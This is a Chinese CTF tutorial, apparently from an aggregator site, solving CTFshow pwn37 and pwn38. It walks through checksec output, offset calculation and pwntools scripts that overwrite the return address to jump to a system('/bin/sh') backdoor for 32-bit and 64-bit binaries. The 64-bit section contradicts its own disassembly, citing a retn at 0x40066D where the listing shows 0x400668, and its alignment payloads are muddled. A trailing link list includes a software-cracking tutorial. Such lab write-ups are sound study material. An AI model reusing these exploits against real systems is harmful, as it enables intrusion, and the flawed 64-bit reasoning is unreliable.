当前位置: 首页 > news >正文

CTFshow PWN入门实战:从pwn37到pwn38,手把手教你搞定32位和64位栈溢出后门函数

CTFshow PWN入门实战:32位与64位栈溢出后门函数利用全解析

在CTF竞赛中,PWN题型往往是最能体现二进制安全实战能力的环节。对于初学者而言,掌握栈溢出基础和后门函数利用是打开PWN大门的钥匙。本文将以CTFshow平台的pwn37(32位)和pwn38(64位)两道典型题目为例,带你从零开始构建完整的解题思路。

1. 栈溢出基础与后门函数原理

栈溢出漏洞的本质是程序对用户输入长度缺乏有效校验,导致数据覆盖了栈上的关键信息。当攻击者精心构造输入覆盖返回地址时,就能劫持程序执行流程。而后门函数则是开发者有意或无意留下的"捷径"——通常包含直接获取系统权限的代码片段。

关键概念对比

特性32位程序64位程序
寄存器架构eip/esp/ebprip/rsp/rbp
函数调用约定参数通过栈传递前六个参数通过寄存器传递
返回地址覆盖覆盖4字节eip覆盖8字节rip
典型栈结构[局部变量][ebp][eip][局部变量][rbp][rip]

在实战中,我们需要重点关注三个核心步骤:

  1. 确定溢出点偏移量
  2. 定位后门函数地址
  3. 构造符合架构特性的payload

2. pwn37解题详解:32位栈溢出实战

2.1 程序分析与漏洞定位

首先使用checksec检查程序保护机制:

checksec pwn37 [*] '/tmp/pwn37' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

关键发现:

  • 32位架构(i386)
  • 未启用栈保护(No canary)
  • 未启用地址随机化(No PIE)

使用IDA Pro反编译后,在main函数中发现调用了ctfshow()函数。跟进该函数可见明显的栈溢出漏洞:

char buf[10]; // 实际缓冲区大小可能更大 gets(buf); // 危险函数,不检查输入长度

2.2 偏移量计算与后门定位

通过IDA的栈帧分析,确定buf到返回地址的偏移为0x12(局部变量) + 4(ebp) = 22字节。使用Shift+F12查找字符串,发现存在"/bin/sh",进一步分析找到后门函数:

void backdoor() { system("/bin/sh"); }

函数地址为0x8048521,这就是我们需要跳转的目标。

2.3 构造并发送payload

32位payload构造相对简单,只需覆盖返回地址即可:

from pwn import * context(arch='i386', os='linux') p = remote('pwn.challenge.ctf.show', 28146) payload = b'A'*22 + p32(0x8048521) p.sendline(payload) p.interactive()

关键点说明

  • b'A'*22填充缓冲区到返回地址前
  • p32()将地址打包为小端序32位格式
  • 连接后直接获得shell,可执行任意命令

3. pwn38深度解析:64位栈溢出特殊处理

3.1 64位程序特性分析

检查程序基本信息:

checksec pwn38 [*] '/tmp/pwn38' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

与32位的主要差异:

  • 使用RIP而非EIP(8字节地址)
  • 函数调用时前六个参数通过寄存器传递
  • 需要保持栈对齐(16字节边界)

3.2 堆栈平衡问题解析

64位环境下直接跳转后门函数可能导致崩溃,因为system函数需要栈对齐。解决方案是增加一个ret指令调整栈指针:

.text:0000000000400657 backdoor proc near .text:0000000000400657 push rbp .text:0000000000400658 mov rbp, rsp .text:000000000040065B lea rdi, command ; "/bin/sh" .text:0000000000400662 call system .text:0000000000400667 pop rbp .text:0000000000400668 retn

可选方案:

  1. 跳转到0x40065B(lea rdi指令处)
  2. 跳转到0x40066D(函数末尾retn)

3.3 两种payload构造方案

方案一:使用中间指令地址

payload = b'A'*(0xA+8) + p64(0x40065B) + p64(0x400657)

方案二:使用函数末尾retn

payload = b'A'*(0xA+8) + p64(0x40066D) + p64(0x400657)

两种方案都能确保执行system时栈指针正确对齐。实际测试中,第一种方案成功率更高,因为避免了可能的多余栈操作。

4. 从题目到方法论:通用解题框架

基于这两道题,我们可以总结出栈溢出后门利用的通用流程:

  1. 程序检查阶段

    • 使用checksec确认保护机制
    • file命令确认架构位数
    • strings查找可疑字符串
  2. 静态分析阶段

    • IDA/Ghidra反编译定位漏洞点
    • 计算精确偏移量(gdb调试验证)
    • 搜索后门函数/敏感字符串
  3. payload构造阶段

    • 32位:偏移 + 后门地址
    • 64位:偏移 + 栈调整gadget + 后门地址
    • 考虑添加nop sled提高稳定性
  4. 动态调试技巧

    • gdb-peda的pattern create/offset
    • 在关键地址下断点(b *0x400657)
    • 观察寄存器状态(info registers)

对于想进一步深入的学习者,建议在本地用gdb调试这两种payload,观察执行过程中栈和寄存器的变化差异。比如在64位环境下,可以重点关注rdi寄存器的赋值时机和rsp的对齐状态。

http://www.gsyq.cn/news/1452186.html

相关文章:

  • MATLAB小车绕障路径规划全套代码包(含可视化仿真与模块化函数)
  • 回溯法-N皇后
  • 基于STM32F407的单通道便携示波器源码:支持继电器程控增益、LCD实时波形显示与串口数据导出
  • 苏州大学与阿里云计算联手:用“技能手册“让AI情感陪护员越练越强
  • 拒绝安全审计背锅:GitHub Actions 自动化漏洞排查与合规修复实战
  • 从Stable Diffusion到Sora:一文读懂DiT中的adaLN-Zero如何成为扩散模型的新宠
  • 批量查公司员工LinkedIn公开资料的Python工具包
  • 别再傻傻输验证码了!用BurpSuite Intruder模块,5分钟搞定登录表单的批量测试
  • 别再只会画流程图了!用Visio画电路图和波形图的保姆级教程(附元件库)
  • 珠海市2026年黄金回收白银回收铂金回收门店指南 五家诚信店铺排行榜+联系方式电话推荐 - 大熊猫898989
  • Anthropic 融资 650 亿美元估值超 OpenAI,专注 coding 策略能否持续领先?
  • 曲面图像传感器:突破场曲瓶颈,重塑相机光学架构的未来
  • 株洲市2026年黄金回收白银回收铂金回收门店指南 五家诚信店铺排行榜+联系方式电话推荐 - 大熊猫898989
  • 手把手教你用Rviz和TF工具调试ROS机器人坐标系(附常见传感器配置)
  • 2026论文写作工具红黑榜:AI论文平台怎么选?这次终于选对了!
  • 保姆级教程:在Tina5.0 (Linux 5.4)内核中手动添加RTL8188FU驱动模块
  • 告别 apt-key:深入理解 Kali APT 安全策略与 ‘InRelease‘ 签名错误根治指南
  • 别再死记硬背了!用华为eNSP模拟器5分钟搞懂BGP的5种报文和6种状态机
  • 恒远科技十年磨一剑:用H4 OntoX定义工业级通用AGI引擎,引领工业AI新标准
  • 告别文档维护地狱:AI 驱动开源组件自动化文档流
  • C语言实战:从零实现猜数字小游戏
  • GD32E230点灯实战:除了gpio_bit_write,这些GPIO库函数你用对了吗?
  • LLaMA-Factory微调ChatGLM3-6B后,如何手动构建prompt模板并用vLLM推理(附完整代码)
  • 从堡垒机到特权治理:企业为何全面升级 PAM360
  • Typora破解2025最新版破解教程1.10.8
  • 实验复现失败率高达68%?一文拆解AI工具与实验管理深度整合的4个黄金接口
  • 别再手动截屏了!教你用YOLOv8分割模型(yolov8n-seg.pt)实现视频物体精准抠图与保存
  • 谷歌收录怎么查询?纯JS渲染的单页面,验抓取只需1招
  • 2026年薪酬设计指南:多少钱才能留住核心人才?
  • 汕尾市2026年黄金回收白银回收铂金回收门店指南 五家诚信店铺排行榜+联系方式电话推荐 - 大熊猫898989